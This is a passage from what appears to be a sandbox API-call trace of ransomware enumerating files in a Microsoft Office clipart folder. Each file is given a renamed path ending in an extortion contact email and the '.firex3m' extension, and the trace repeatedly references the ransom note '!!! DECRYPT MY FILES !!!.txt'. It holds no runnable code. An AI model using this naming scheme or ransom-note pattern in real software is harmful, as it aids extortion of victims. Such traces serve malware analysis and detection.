files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf") returned 0x44 [0137.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.736] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.736] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.736] GetProcessHeap () returned 0x630000 [0137.736] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x304) returned 0x671c18 [0137.736] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0137.736] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 1 [0137.736] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf") returned 0x44 [0137.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.737] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.741] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.741] GetProcessHeap () returned 0x630000 [0137.753] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x304) returned 0x671c18 [0137.753] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0137.753] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 1 [0137.753] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf") returned 0x44 [0137.753] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.753] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.753] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.753] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.753] GetProcessHeap () returned 0x630000 [0137.753] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x308) returned 0x671c18 [0137.753] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0137.754] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 1 [0137.754] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf") returned 0x44 [0137.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.754] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.754] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.754] GetProcessHeap () returned 0x630000 [0137.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x30c) returned 0x671c18 [0137.754] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0137.754] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 1 [0137.754] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf") returned 0x44 [0137.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.755] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.755] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.755] GetProcessHeap () returned 0x630000 [0137.755] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x310) returned 0x671c18 [0137.755] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0137.755] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 1 [0137.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf") returned 0x44 [0137.755] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.755] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.755] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.755] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.755] GetProcessHeap () returned 0x630000 [0137.755] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x314) returned 0x69ec20 [0137.755] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0137.756] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 1 [0137.756] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid") returned 0x44 [0137.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.756] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.756] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.756] GetProcessHeap () returned 0x630000 [0137.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x318) returned 0x69ec20 [0137.756] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0137.756] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID", len=0x43 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 1 [0137.756] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid") returned 0x43 [0137.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.757] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.757] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.757] GetProcessHeap () returned 0x630000 [0137.757] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x31c) returned 0x69ec20 [0137.757] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0137.757] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 1 [0137.757] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf") returned 0x44 [0137.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.757] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.757] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.757] GetProcessHeap () returned 0x630000 [0137.757] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x320) returned 0x69ec20 [0137.758] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0137.758] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 1 [0137.758] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf") returned 0x44 [0137.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.758] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.758] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.758] GetProcessHeap () returned 0x630000 [0137.758] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x324) returned 0x69ec20 [0137.758] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0137.758] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 1 [0137.758] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf") returned 0x44 [0137.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.759] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.759] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.759] GetProcessHeap () returned 0x630000 [0137.759] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x328) returned 0x69ec20 [0137.759] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0137.759] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 1 [0137.759] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf") returned 0x44 [0137.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.759] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.759] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.760] GetProcessHeap () returned 0x630000 [0137.760] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x32c) returned 0x69ec20 [0137.760] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0137.760] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 1 [0137.760] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf") returned 0x44 [0137.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.760] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.760] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files 